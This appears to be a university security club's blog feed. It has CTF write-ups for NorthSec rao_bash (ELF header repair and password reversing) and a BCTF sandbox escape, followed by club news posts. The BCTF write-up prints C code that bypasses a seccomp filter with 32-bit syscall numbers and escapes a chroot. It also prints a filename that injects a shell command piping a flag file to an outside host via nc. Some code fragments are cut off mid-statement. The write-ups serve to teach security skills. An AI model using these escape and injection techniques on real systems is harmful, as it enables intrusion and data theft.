Tuesday, May 23, 2017

NorthSec 2017 rao_bash

This is a posthumous writeup of the rao_bash challenge hosted by NorthSec 2017. It features a recompiled and backdoored bash with a broken ELF header. This was solved after the CTF, because a small hint was dropped to us afterwards.

Fixing the ELF Header

First and foremost, we’d like to fix the ELF header of the executable. This ELF header interferes with all of our tools, and even the venerable file is having trouble with it:

$ file ./rao_bash_orig
./rao_bash_orig: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)

If that’s not enough of a hint, readelf seems to think that the entrypoint is some very large number,

$ readelf -a ./rao_bash_orig
ELF Header:
 Magic:   7f 45 4c 46 02 02 01 00 00 00 00 00 00 00 00 00
 Class:                             ELF64
 Data:                              2's complement, big endian
 Machine:                           <unknown>: 0x3e00
 Version:                           0x1000000
 Entry point address:               0x300c420000000000

At this point, it should be obvious that the entry point is correct, if interpreted in big endian, and readelf is so nice to show as much that the data itself is all big endian. We simply revert this by flipping the “\x02” to a “\x01” in the 5th byte of the ELF header (see the magic line). Now, all of our tools work as appropriate.


Here is where the hint comes into place: bash is a huge executable, and unfortunately we could not find anything largely different between rao_bash and a bash we compiled ourselves with a similar compiler version, i.e. by using diaphora. However, it seems we missed a very quick-and-dirty xor, as seen below in the main function.


It looks like argv is checksummed, and if the checksum is valid it moves to sh_login_init(). Obviously, we don’t quite care about the checksum, as it’s very lossy and the interesting stuff is really happening in sh_login_init().

Unfortunately, everything after this is a little hairy; the disassembly involves self-modifying code, slightly obscured control flow and finally a reversing function that doesn’t decompile well. For testing purposes, we jump right into this function by marking it as the entrypoint, i.e. with rabin2 -O e/0x46390d ./rao_bash_entry. This jumps immediately into the code (which importantly is completely independent), and reveals some more to us about the program.

$ ./rao_bash_entry
Welcome home RAO
Would you like to destroy the planet today?
Enter the supreme Password:<whatever>
zsh: segmentation fault (core dumped)  ./rao_bash

For starters, sh_login_init() immediately copies 90 bytes of the data section onto the stack, jumping to it. It then proceeds to xor the next 700 bytes of the data section with 0xcf, and of course jumps into that. This section is quite interesting; the disassembly is slightly obfuscated, in that it flattens control flow by introducing a dispatch basic block, as reproduced below, symbolized to obviate the meaning of offsets, etc.

 lea r15, dispatch
 xor r14, r14
 mov r14w, write_prep1 - dispatch
 add r14, r15
 push r14

Here, the dispatch basic block will jump to any offset from itself, where the offset is stored in r14 and the address of dispatch is stored in r15. This is used to implement the reading and writing, as below.

 xor rdx, rdx
 call write_prep2
welcome_msg: db "Welcome home RAO", 0xa, ...
 pop rsi
 mov dl,  0x5a ; sizeof welcome_msg
 mov r14, write - dispatch
 mov r13, read  - dispatch
 push r15      ; jump back to dispatch
 mov r14, r13  ; prepare to jump to read
 push r15      ; jump back to dispatch
 jnz verify_input

Here, read pulls 32 bytes from the user and places them onto the stack, crashing if read failed (by jumping into another instruction). Then, we immediately begin verifying the user input, as below:


Here, we see some obfuscation techniques at hand as well, notably the use of the rdrand instruction to generate some random values which are xor’d with the hashed user input. However, this is only there to thwart static analysis tools like binary ninja (which does not currently parse the instruction as of this writing), as well as some other nifty tools like angr. Furthermore, the effects of this instruction are reverted because we redo the xor on the hashed user input with these random values before checking against the global checksum data. Thus, it’s safe to ignore this in our analysis.

As for the rest of the verification function, it can be easily mimicked with the following python code:

def enc_byte(byte):
    lzcnt = float(64 - len(bin(byte)[2:]))
    byte  = float(byte)
    xmm0  = float(lzcnt) / float(byte)
    xmm0  =  float_to_int(xmm0)
    xmm0 ^=  float_to_int(lzcnt)
    return c_uint32(xmm0).value
enc = [ 0x44444444, 0xD60864B9, 0xD83BA686, 0x89D89D8A,
        0x38E38E39, 0xEA0EA0EA, 0x33333333, 0x32323232,
        0xE1E1E1E2, 0x97829CBC, 0xffffffffffffffff,
        0xE54975FC, 0x97829CBC, 0x31DEC0D5, 0xE54975FC,
        0x89D89D8A ]
for j,i in zip(enc, user_input)[::-1]:
    if j == 0xffffffffffffffff:
        j = -j - 1
        j = c_ulonglong(j).value
    if enc_byte(ord(i)) != j:

Now, we simply have to brute the password, character by character until we get the full flag, 4sM1sr1f3_Fl4gzZ.

Wednesday, April 19, 2017


This weekend we played in BCTF, though we took it a little easy in preparation for upcoming CTFs. However, we were able to solve a challenge with only one other solve, so we decided to write up our progress on it. It essentially boiled down to a sandbox escape.

Escaping the First Sandbox

When we first go to the link in the problem description, we see a web form which presumably compiles and runs C code which we submit. Initially, it does not seem like we can get any output from the server other than “Compilation Error” or “Wrong Answer.” However, it does not seem that there are many security restrictions on the binary; initial tests show that we can’t execve, but we can at least open a socket to create a writeback. First, we attempt to learn a bit more about our environment. In particular, we write our uid to our connect back. It seems we’re running as root! Let’s get a directory structure listing:

/lib/x86_64-linux-gnu/(lots of shared libs)

At this point, we’re interested by a few things related to the directory structure; first, there’s no flag!? No sweat, we’re probably in a chroot (the flood of messages on IRC from people asking where the flag is confirms this theory). More alarming perhaps is the scf.so file that we see in the same directory as the file that was compiled for us. We dump it to our writeback, and immediately disassemble it.

Initially, it’s apparent that this shared object file is meant to be used as an LD_PRELOAD; normal shared object files do not have a __libc_start_main. When we look deeper into this method, we notice immediately that it dlopen’s libc.so.6, and then pulls the real __libc_start_main for later. Then, it calls prctl in order to presumably construct some sort of impromptu seccomp filter. The call to prctl actually installs a Berkeley Packet Filter, as shown below. Upon disassembling it, we see that it blocks execve, fork, ptrace, clone, chroot, pivot_root, process_vm_readv, and process_vm_writev. Finally, it calls the correct __libc_start_main, which eventually finds its way into our main function.

LD.W  ABS(0x4)
JEQ 3221225534
RET 0x0
LD.W  ABS(0x0)
JEQ !59
RET 0x0
JEQ !57
RET 0x0
JEQ !101
RET 0x0
JEQ !56
RET 0x0
JEQ !161
RET 0x0
JEQ !155
RET 0x0
JEQ !310
RET 0x0
JEQ !311
RET 0x0
RET 0x7fff0000

Clearly, our binary is being run with the given __libc_start_main via LD_PRELOAD. We also stipulate that we’re operating under a chroot! Naturally, we’d like to break out of the chroot. Normally, it’d be trivial to break out; since we’re root, we could simply create a new chroot, and use that to pivot out of the original chroot. However, there is a seccomp filter installed over chroot and friends, so maybe we can’t use the same trick.

More research shows that this Berkley Packet Filter is not in fact bulletproof; it checks against the 64-bit syscalls, but fails to filter out the 32-bit variants, which we can access by or’ing the original syscall with 0x40000000. To test out this theory:

syscall(0x40000000 | SYS_chroot, “.foo”);

We see the success statement in our connect-back, so our program was not killed. This means that we successfully performed the chroot (barring return values). This means, we can escape the chroot by using the normal sandbox escape, but with the modified syscall.

void change_root(void)
    mkdir(".42", 0755);
    syscall(SYS_chroot | 0x40000000, ".42");
    syscall(SYS_chroot | 0x40000000,

Now, when we dump the filesystem from the root directory, we see an entire docker image with some interesting files. Specifically, we see


First, we go straight for the flag; however, no matter how we try, we cannot seem to open the flag! It seems we do not have the proper permissions to open it, but presumably we’re root. What gives?

Escaping the Second Sandbox

We dump the two binaries, cr and sandbox to reveal a little more about what’s going on here. The cr binary seems to be servicing files in a busy loop; as source files are dropped by the main service (specifically, in /home/ctf/oj/src), it compiles the files with gcc and then proceeds to run the sandbox binary with the path to the elf that was just compiled. Overall, the cr binary is not quite so interesting, as it doesn’t explain why we don’t have permission to open the flag.

User namespaces effect the majority of the sandboxing done by the second binary, aptly named sandbox. In particular, it writes “0 <uid> 1” to /proc/<fd>/uid_map; this effectively gives us root within the namespace only, which is why we were able to break out of the chroot. This also explains why we do not have the permissions to read the flag file, owned by the host. Less interesting, the sandbox binary prepares the chroot, forks and cleans up the chroot after our program has exited or timed out.

After all that, we still are no closer to reading the flag. However, it’s interesting to note that cr is running as a “service,” effectively. It has effective permissions of the host, and presumably the flag natively exists in the host. So, we aim to trigger a vulnerability in cr; noting that cr compiles our code, effectively by passing the result of sprintf(buffer, “gcc %s -o %s”, source, binary) directly to system, we drop a file in /home/ctf/oj/src which breaks out of the gcc command (i.e. with a semicolon).

When we execute the following code, we end up with cr executing the following command: gcc /home/ctf/oj/src/a;cat ???g | nc <redacted> 8000; garbage, which sends the flag back to our connect-back, as intended. Note that it’s most likely sheer luck that cr is executing in the root directory, so the shell expansion works as expected. (We spent a few hours wondering why "cat /flag" wasn’t working, only to remember you can’t have a '/' in file names ;P)

int main(void)
{   /* break out of the chroot */
    mkdir(".42", 0755);
    syscall(SYS_chroot | 0x40000000, ".42");
    syscall(SYS_chroot | 0x40000000,
    /* fool cr into sending us the flag file */
    fopen("/home/ctf/oj/src/a;cat ???g| nc <redacted> 8000;", "ab+");
    return 0;
// flag: bctf{Y0u_4r3_7h3_exp0r7_0f_s4nd60x_6yp4551ng}

Monday, September 26, 2016

CSAW CTF Qualifiers 2016

Last weekend, we were one of over 1200 teams to participate in Cyber Security Awareness Week Qualifiers, an international competition hosted by NYU Tandon. This year, CSAW hosted 31 challenges, in categories such as Reversing, Crypto, Forensics, Pwning, and Web.

We had a great time, and managed to solve every challenge on the board with 13 hours to spare. We placed second overall, first in the undergraduate division, and ended up being the only undergraduate team to solve the entire board. This was an international competition, and we were competing against industry-professional and undergraduate teams alike.

Finalists are to be announced on October 3rd. If you missed the competition but still want to checkout the challenges, CSAW's official challenge repository can be found here.  

Saturday, January 30, 2016


RPISEC is proud to introduce a new branch of our organization: INTROSEC.

RPISEC has become an incredibly successful club in recent years. We've created two independent open source classes, qualified two teams to CSAW, won tens of thousands of dollars at CTFs, and have grown our core membership so much that we barely fit in our room at Amos Eaton.

We're incredibly proud of our progress and growth. However, one of our biggest weaknesses has always been introducing new members into the world of computer security. Our weekly talks have either been to fast and complicated for our newer members, or too dull for our core members. Pandering to these two groups at the same time has consistently turned away many people who have otherwise would have been great additions to the club. This is what INTROSEC is meant to fix.

The group is going to be lead by two sophomore members of RPISEC, Jazmyn Borman and Milo Trujillo. They've already set up a ton stuff, including  talks, challenges, and a mini CTF that we will eventually be hosting. We're incredibly proud and impressed with how much work they've both put into this and we expect great things to come out of it.

First meeting will be in Sage 2715 this Tuesday, 5pm-7pm.

Saturday, October 31, 2015

Cyber Seed Results

RPISEC had a great showing at Cyber seed last weekend, with two of our teams placing at the competition.

One of the teams that placed was the CTF team. They took second place just behind Knightsec. They did a great job and won RPISEC $7,500 as well as Amazon echo's for themselves.

They were also the first time to hack into the ATM at the competition, so they won a basketball signed by some of the players from UConn and some of the top executives from Comcast.

As you can see, we were thrilled to win the ball.

Our next team to place was our Internet of Things team. The teams on the IoT challenge were given around a month to audit some device that connected to the internet. Our team decided to do an audit of the Piper Home Security camera. They were able to find a couple of bugs in API that would cause the system to use http instead of https.

We got 1st place! RPISEC won another $10,000 and each member of the team was given an Apple Watch.

That means that RPISEC came home with a total of $17,500!

We had a great time at UConn. We're very proud of our success and can't wait to see what the future holds for RPISEC. Here are some more pictures of the event.

Tuesday, October 27, 2015

Cyber Seed

RPISEC is heading to UConn this Thursday for CyberSEED! This competition is being hosted by Comcast and will include a CTF, Internet of Things Challenge, and a Social Engineering Challenge. There will be 30 other schools as well as over 300 participants, so competition is going to be fierce. But you know what is exciting? Each event has a top prize of $10,000! So wish our participants the best of luck and go RPISEC!


Wednesday, March 18, 2015

Movie Night - 03/20/2015 Meeting

As a lot of people have already left for break, we’ll be having a pretty low key movie night for our meeting this week!

Many of you probably saw the Matrix a long time ago and thought of it as an awesome action movie, but let’s be honest, it’s actually a hacker film. We’ll be back in the DCC as usual.

WHEN: Friday 5pm, March 20th

Otherwise, keep in mind there’s an interesting security talk (http://www.cs.rpi.edu/news/seminars/Mar20_2015.html) happening right before our movie night (from 4pm-5pm) in the Library’s Fishbach room. If you walk past the front desk in the library and turn left, you’ll find the room somewhere down there.

Many of us will be there, and we encourage you to drop by if you have nothing else going on at the time!